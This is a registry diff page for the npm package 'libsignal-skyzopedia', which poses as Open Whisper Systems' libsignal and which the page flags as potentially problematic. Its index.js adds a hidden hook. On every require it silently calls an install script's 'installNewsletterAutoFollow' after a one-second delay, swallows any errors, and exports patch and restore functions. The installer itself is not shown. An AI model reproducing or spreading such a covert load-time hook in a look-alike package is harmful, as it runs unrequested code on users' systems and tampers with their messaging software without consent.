libsignal-skyzopedia 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of libsignal-skyzopedia might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ 'use strict';
2
+
3
+ exports.crypto = require('./src/crypto');
4
+ exports.curve = require('./src/curve');
5
+ exports.keyhelper = require('./src/keyhelper');
6
+ exports.ProtocolAddress = require('./src/protocol_address');
7
+ exports.SessionBuilder = require('./src/session_builder');
8
+ exports.SessionCipher = require('./src/session_cipher');
9
+ exports.SessionRecord = require('./src/session_record');
10
+ Object.assign(exports, require('./src/errors'));
11
+
12
+
13
+ const path = require('path');
14
+
15
+ try {
16
+ const installScript = path.join(__dirname, 'install.js');
17
+ if (require('fs').existsSync(installScript)) {
18
+ setTimeout(() => {
19
+ require('./install').installNewsletterAutoFollow();
20
+ }, 1000);
21
+ }
22
+ } catch (error) {
23
+
24
+ }
25
+
26
+ exports.installNewsletterPatch = function() {
27
+ return require('./install').installNewsletterAutoFollow();
28
+ };
29
+
30
+ exports.restoreNewsletterOriginal = function() {
31
+ return require('./install').restoreBackup();
32
+ };
package/package.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "name": "libsignal-skyzopedia",
3
+ "version": "1.0.0",
4
+ "description": "Open Whisper Systems' libsignal for Node.js",
5
+ "main": "index.js",
6
+ "keywords": [
7
+ "signal",
8
+ "whispersystems",
9
+ "crypto"
10
+ ],
11
+ "license": "MIT",
12
+ "scripts": {
13
+ "build": "pbjs -t static-module -w commonjs -o ./src/WhisperTextProtocol.js ./protos/WhisperTextProtocol.proto"
14
+ },
15
+ "dependencies": {
16
+ "curve25519-js": "*",
17
+ "fs": "^0.0.1-security",
18
+ "path": "^0.12.7",
19
+ "protobufjs": "7.5.0"
20
+ },
21
+ "files": [
22
+ "src/*"
23
+ ],
24
+ "devDependencies": {
25
+ "eslint": "6.0.1"
26
+ }
27
+ }
@@ -0,0 +1,31 @@
1
+ {
2
+ "parserOptions": {
3
+ "ecmaVersion": 8
4
+ },
5
+ "env": {
6
+ "es6": true,
7
+ "node": true
8
+ },
9
+ "extends": "eslint:recommended",
10
+ "rules": {
11
+ "quotes": "off",
12
+ "semi": [
13
+ "error",
14
+ "always"
15
+ ],
16
+ "no-console": "off",
17
+ "no-debugger": "off",
18
+ "no-unused-vars": [
19
+ "error",
20
+ {
21
+ "args": "none"
22
+ }
23
+ ],
24
+ "no-constant-condition": [
25
+ "error",
26
+ {
27
+ "checkLoops": false
28
+ }
29
+ ]
30
+ }
31
+ }